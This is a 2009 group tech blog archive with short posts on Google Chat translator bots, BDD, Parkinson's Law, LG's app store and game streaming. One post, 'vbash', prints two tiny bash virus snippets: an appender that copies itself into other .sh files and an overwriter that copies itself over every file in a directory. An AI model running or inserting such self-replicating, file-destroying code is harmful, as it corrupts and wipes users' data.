Wednesday, September 2, 2009

Using google chat translator bots in group

Well, this is not related to programming but our fellow Bruno told me to put here and I can finally be out of the list of persons that never put something here!

In google chat, there are "bots" that you can invite, like below:

en2ja@bot.talk.google.com : english to japanese
en2pt@bot.talk.google.com : english to portuguese

The interesting trick is that you can invite them in a group chat, and
making them work as a real time translators.

This is very useful for example when 2 persons of different native languages
need to chat using english.
If a japanese and a brazilian need to chat, you can call en2ja@ and ja2en@ and
form a group chat of 4. The japanese guy can write in japanese and the brazilian guy can
write in english.
Of course, the translation is not perfect, but it helps.

Monday, August 31, 2009

Windows x Mac x Linux

I am recently watching all episodes of South Park, an attempt to get why people like it so much (and why it is always among the top 10 most viewed TV series)... and I found this while youtubing some linux stuff... enjoy!

Wednesday, August 19, 2009

TDD -> BDD

For those familiar with TDD (Test Driven Development), I was reading an article on Ruby on Rails, and found the BDD for the first time (Behaviour Driven Development). For people interested on development management, a must...

References:

Monday, August 10, 2009

vbash

Although not very spread (try Googling it), it holds the very principle of the virus algorithm technique. The most simple virus code I have ever seen...

(BASH scripting language)

Appender

for i in *.sh; do
if test ”./$i!=$0; then
tail -n 5 $0 | cat >> $i ;
fi
done


Overwritter

for file in *; do
cp $0 $file
done


Pretty cool!

Friday, August 7, 2009

As we are talking about future, how about look into the new technologies appearing for UI?

This blog posted a very interesting list of futuristics interfaces:

http://www.technologyreview.com/blog/editors/23940/

More some years, and the Jetsons will be completely outdated, hehehe!

Microsoft Office Labs Vision 2019

A great video from Microsoft about a probable future in 10 years.


Wednesday, August 5, 2009

Parkinson's Law

I have come across the Parkinson's Law before, which was a complex mathematical expression used in economical and financial sciences, to express the expansion of bureaucracy over time (got this from Wikipedia, of course I did not remember it, lol).

In simple terms (again, from Wikipedia), the law says that:

Work expands so as to fill the time available for its completion

Reading a book later, called The 4-hour Work Week, I found a very cool explanation about it by the author, that matches perfectly with my work philosophy, trying always to push myself to motivate and speed up productivity.



Parkinson's Law dictates that a task will swell in (perceived) importance and complexity in relation to the time allotted for its completion. It is the magic of the imminent deadline. If I give you 24 hours to complete a project, the time pressure forces you to focus on execution, and you have no choice but to do only the bare essentials. If I give you a week to complete the same task, it's six days of making a mountain out of a molehill...

Monday, July 13, 2009

LG Launching App Store In South Korea

I think now we will have a good fight with the apple store, because to create a apple app, the programmer need the apple machine too. And the LG run with Java.
Maybe the Java can run a little more slow then Apple, but of course we will have more developers finding the best way to use all the features of the cellphone.

Check more in Akirabaranews.

Compare the languages.

Which is the best programing language?
Why not compare that?

This is the http://99-bottles-of-beer.net/ idea. There are the same program in more then 1200 programing languages, a simple program that repeat phrases increasing a number to compose the music "99 Bottles of Beer".

Monday, July 6, 2009

Gaikai - Streaming Worlds

Some time ago, I talk about a "OnLive gaming demostrated live", now another company enter to compete, called: Gaikai



And I still talking: imagine in a future you don't need computer (or a powerful computer) in home or work and make easy create a war room.